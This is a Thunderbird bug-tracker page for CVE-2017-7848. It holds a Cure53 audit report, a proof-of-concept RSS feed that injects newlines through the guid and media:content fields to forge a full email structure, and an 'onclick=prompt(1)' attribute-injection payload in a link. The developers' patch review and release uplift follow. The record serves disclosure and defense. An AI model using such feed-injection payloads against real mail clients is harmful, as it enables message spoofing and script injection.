Closed
Bug 1411699
(CVE-2017-7848)
Opened 7 years ago
Closed 7 years ago
TBE-01-011: RSS Feed vulnerable against Email Injection
Categories
(MailNews Core :: Feed Reader, defect)
MailNews Core
Feed Reader
Tracking
(thunderbird_esr5257+ fixed, thunderbird58 fixed, thunderbird59 fixed)
RESOLVED
FIXED
Thunderbird 59.0
People
(Reporter: BenB, Assigned: alta88)
References
Details
(Keywords: sec-moderate)
Attachments
(3 files, 2 obsolete files)
5.03 KB,
patch
|
Details | Diff | Splinter Review | |
16.79 KB,
patch
|
mkmelin
:
review+
jorgk-bmo
:
approval-comm-beta+
|
Details | Diff | Splinter Review |
17.00 KB,
patch
|
Details | Diff | Splinter Review |
Thunderbird supports import and rendering of RSS feeds. After a user imports a new RSS feed, it parses the entries and displays them. Specifically, Thunderbird parses the defined RSS items and converts them into an email structure to be able to properly display them. However, it was discovered that at least two RSS fields can inject new lines into the created email structure, therefore having a capacity to modify the whole body.
The media:content specifies resources, which should be appended as external attachments. The content of this element is placed after an X-Mozilla-External-Attachment-URL header in the created email structure but newlines are not filtered.
<media:content url="
injected"></media:content>
The content of the guid element is parsed and appended to the Message-ID header at the beginning of the email structure. To underscore, the newlines are not filtered and therefore the email structure can be tampered with.
<guid isPermaLink="false">myguid
</guid>
The following PoC abuses the guid element to inject a completely new email structure.
PoC RSS Feed:
<?xml version="1.0" encoding="UTF-8"?>
<rss
xmlns:content="http://purl.org/rss/1.0/modules/content/"
xmlns:wfw="http://wellformedweb.org/CommentAPI/"
xmlns:dc="http://purl.org/dc/elements/1.1/"
xmlns:atom="http://www.w3.org/2005/Atom"
xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
xmlns:georss="http://www.georss.org/georss"
xmlns:geo="http://www.w3.org/2003/01/geo/wgs84_pos#"
xmlns:media="http://search.yahoo.com/mrss/"
Cure53, Berlin · 10/11/17
9/35Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de
xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0"
version="2.0"
>
<channel>
<title>Feed1</title>
<link>http://foo.com/?"onclick=prompt(1)/</link>
<item>
<title>Feed1</title>
<guid isPermaLink="false">myguid>
Content-Type:
multipart/alternative; boundary="------------
2DEE3F98D70BD2C65FBA7373"
MIME-Version: 1.0
Subject: feed1
From:
email@example.com
To: email@example.com

This is a multi-part
message in MIME format.
--------------
2DEE3F98D70BD2C65FBA7373
Content-Type: multipart/related;
boundary="------------A320A96F6639F3C578F35383"


--------------
A320A96F6639F3C578F35383
Content-ID: myself
Content-Type:
text/html
Content-Transfer-Encoding:
7Bit

<h1>header</h1>
--------------
A320A96F6639F3C578F35383--

--------------2DEE3F98D70BD2C65FBA7373--





</guid>
</item>
</channel>
</rss>
The created email structure:
From - Wed, 20 Sep 2017 10:59:42 +0200
X-Mozilla-Status: 0041
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:
Received: by localhost; Wed, 20 Sep 2017 10:59:42 +0200
Date: Wed, 20 Sep 2017 10:59:42 +0200
Message-Id: <myguid>
Content-Type: multipart/alternative; boundary="------------
2DEE3F98D70BD2C65FBA7373"
MIME-Version: 1.0
Subject: feed1
From: email@example.com
To: email@example.com
This is a multi-part message in MIME format.
--------------2DEE3F98D70BD2C65FBA7373
Content-Type: multipart/related; boundary="------------A320A96F6639F3C578F35383"
--------------A320A96F6639F3C578F35383
Content-ID: myself
Cure53, Berlin · 10/11/17
10/35Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de
Content-Type: text/html
Content-Transfer-Encoding: 7Bit
<h1>header</h1>
--------------A320A96F6639F3C578F35383--
--------------2DEE3F98D70BD2C65FBA7373--@localhost.localdomain>
From: Feed1
MIME-Version: 1.0
Subject: Feed1
Content-Transfer-Encoding: 8bit
Content-Base:
Content-Type: text/html; charset=UTF-8
<html>
<head>
<title>Feed1</title>
<base href="">
</head>
<body id="msgFeedSummaryBody" selected="false">
Feed1
</body>
</html>
It is recommended to remove all newlines specified in RSS fields. This should be done after entities are decoded to ensure that no newline can slip through. This ensures that an RSS feed cannot completely modify the created email structure.
Updated•7 years ago
|
Group: mail-core-security
Reporter | ||
Comment 1•7 years ago
|
||
For the original report as PDF; see bug 1411701.
Reporter | ||
Comment 2•7 years ago
|
||
Sorry about the Cure53...mario@cure53.de in the original description, that was a copy&paste issue. See the PDF for a cleaner version.
Remove all 00-1F chars from the document. Long ago the xhr request was changed to xml so gecko wouldn't even pass a doc with decimal bits to the parser. But escaped bits.. Subscribe from local file:// for testing requires the command |FeedUtils._validSchemes.push("file")| in console.
Attachment #8922449 -
Flags: review?(mkmelin+mozilla)
Comment 4•7 years ago
|
||
Comment on attachment 8922449 [details] [diff] [review]
parser.patch
Review of attachment 8922449 [details] [diff] [review]:
-----------------------------------------------------------------
::: mailnews/extensions/newsblog/content/feed-parser.js
@@ +29,5 @@
> return [];
> }
>
> let doc = aDOM.documentElement;
> + aDOM.documentElement.innerHTML = this.removeUnprintableASCII(doc.innerHTML);
Won't this be trouble for newlines if you have, say <pre> elements in the inline feed content?
I don't think so, it would make them look minified within the <pre> tag but losing the \n shouldn't make a syntax difference. But I could be wrong; do you have an example?
The alternative is to be selective about it and consider each header, and avoid the content. But this could get fragile given all the assumptions with underspecified rss2.0.
Comment 6•7 years ago
|
||
If the feed item content contains
<pre>
row1
row2
row3
</pre>
... you don't want to display row1row2row3. But
row1
row2
row3
What do you mean by minified?
I was thinking of inline css (minified is not the right word). Back to the hard way.
This approach scrubs fields to be stored as headers.
Attachment #8922449 -
Attachment is obsolete: true
Attachment #8922449 -
Flags: review?(mkmelin+mozilla)
Attachment #8922512 -
Flags: review?(mkmelin+mozilla)
Comment on attachment 8922512 [details] [diff] [review]
parser.patch - initial approach, not for checkin
In retrospect, I don't like this approach. If the entire document can't be scrubbed, then all tags should be unless they are the tags that can't be.
Attachment #8922512 -
Flags: review?(mkmelin+mozilla)
Comment 10•7 years ago
|
||
Cure53 called this item "high" severity, but what are the implications of creating a new email structure? Would it be able to escape the feed folder? How is this much different from just adding another item to the feed, which the feed author pulling this trick could do anyway? If it spoofs a mail, how is that much different than sending spam with a forged address? Does such a mail entry get created bypassing some important sanity checks we do on the content of mail, or do we do those on display of the mail also?
Going to guess sec-moderate for now.
Flags: needinfo?(ben.bucksch)
Keywords: sec-moderate
Updated•7 years ago
|
Assignee: nobody → alta77
Status: NEW → ASSIGNED
Updated•7 years ago
|
Summary: RSS Feed vulnerable against Email Injection → TBE-01-011: RSS Feed vulnerable against Email Injection
Updated•7 years ago
|
Assignee: alta77 → alta88
Comment 11•7 years ago
|
||
(In reply to alta88 from comment #9)
> Comment on attachment 8922512 [details] [diff] [review]
> parser.patch
>
> In retrospect, I don't like this approach. If the entire document can't be
> scrubbed, then all tags should be unless they are the tags that can't be.
I think this approach is still good enough. I kind of liked it.
Depends on: CVE-2017-7846
Assignee | ||
Comment 12•7 years ago
|
||
Yeah, it's good enough to fly, but not high end enough to show off. And things should be cleaned up as close to the input as possible.
Attachment #8926482 -
Flags: review?(mkmelin+mozilla)
Assignee | ||
Comment 13•7 years ago
|
||
some tweaks.
Attachment #8926482 -
Attachment is obsolete: true
Attachment #8926482 -
Flags: review?(mkmelin+mozilla)
Attachment #8927143 -
Flags: review?(mkmelin+mozilla)
Comment 14•7 years ago
|
||
Comment on attachment 8927143 [details] [diff] [review]
parsernewline.patch
Review of attachment 8927143 [details] [diff] [review]:
-----------------------------------------------------------------
LGTM, r=mkmelin
Attachment #8927143 -
Flags: review?(mkmelin+mozilla) → review+
Keywords: checkin-needed
Updated•7 years ago
|
Attachment #8922512 -
Attachment description: parser.patch → parser.patch - initial approach, not for checkin
Comment 15•7 years ago
|
||
https://hg.mozilla.org/comm-central/rev/0b656c52b5465d8de6bc3bd42a66d3d26cf056cb
Sigh, this was fixed in TB 59, but that target doesn't exist :-(
Keywords: checkin-needed
Target Milestone: --- → Thunderbird 58.0
Updated•7 years ago
|
Status: ASSIGNED → RESOLVED
Closed: 7 years ago
Resolution: --- → FIXED
Comment 16•7 years ago
|
||
Hmm, if your patch doesn't contain an author and I import it, I will become the author :-(
And if I don't notice it and change it, it gets landed with the incorrect author :-(
Assignee | ||
Comment 17•7 years ago
|
||
Don't know what happened, it's set up to include author, and I didn't notice either. It's not important as the real author can readily be identified, and you are hereby indemnified.
Updated•7 years ago
|
Group: mail-core-security → core-security-release
Updated•7 years ago
|
Target Milestone: Thunderbird 58.0 → Thunderbird 59.0
Updated•7 years ago
|
Attachment #8927143 -
Flags: approval-comm-beta+
Comment 18•7 years ago
|
||
Beta (TB 58):
https://hg.mozilla.org/releases/comm-beta/rev/b622c91383b8d1420b86786fbd8048461f846979
status-thunderbird58:
--- → fixed
status-thunderbird59:
--- → fixed
Comment 19•7 years ago
|
||
No uplift to TB 52 requested here?
Flags: needinfo?(mkmelin+mozilla)
Flags: needinfo?(alta88)
Comment 20•7 years ago
|
||
Comment on attachment 8927143 [details] [diff] [review]
parsernewline.patch
Review of attachment 8927143 [details] [diff] [review]:
-----------------------------------------------------------------
LGTM, r=mkmelin
Attachment #8927143 -
Flags: approval-comm-esr52?
Updated•7 years ago
|
Flags: needinfo?(mkmelin+mozilla)
Updated•7 years ago
|
Attachment #8927143 -
Flags: approval-comm-esr52? → approval-comm-esr52+
Comment 21•7 years ago
|
||
Comment on attachment 8927143 [details] [diff] [review]
parsernewline.patch
This depends on bug 1411716, which can't be applied.
Note that the regexp landed here needs to be corrected by uplifting bug 1418666 as well.
Attachment #8927143 -
Flags: approval-comm-esr52+
Comment 22•7 years ago
|
||
Hand-made comm-esr52 patch also including bug 1418666,
Comment 23•7 years ago
|
||
TB 52.5.2 ESR:
https://hg.mozilla.org/releases/comm-esr52/rev/6c35468148bb113beec117e7eb7bcc10d9d9b588
status-thunderbird_esr52:
--- → fixed
tracking-thunderbird_esr52:
--- → 57+
Updated•7 years ago
|
Alias: CVE-2017-7848
Comment 24•6 years ago
|
||
(clearing NI, assuming we're past the issues of comment 10)
Flags: needinfo?(ben.bucksch)
Updated•5 years ago
|
Group: core-security-release
You need to log in
before you can comment on or make changes to this bug.
Description
•